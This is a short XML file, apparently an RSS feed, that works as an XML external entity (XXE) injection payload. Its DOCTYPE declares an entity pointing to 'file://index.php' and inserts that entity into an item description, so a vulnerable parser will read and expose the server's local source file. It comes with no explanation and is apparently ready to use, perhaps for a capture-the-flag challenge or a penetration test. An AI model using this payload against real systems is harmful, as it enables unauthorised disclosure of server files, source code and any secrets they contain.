gpt.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
    <!ELEMENT rss (channel)>
    <!ATTLIST rss version CDATA #REQUIRED>
    <!ELEMENT channel (title, link, description, item*)>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT link (#PCDATA)>
    <!ELEMENT description (#PCDATA)>
    <!ELEMENT item (title, link, description)>
    <!ENTITY file SYSTEM "file://index.php">
]>
<rss version="2.0">
    <channel>
        <title>Index PHP Content</title>
        <link>https://www.example.com</link>
        <description>Content of the index.php file included via external entity.</description>
        <item>
            <title>Index.php Content</title>
            <link>https://www.example.com/index.php</link>
            <description>&file;</description>
        </item>
    </channel>
</rss>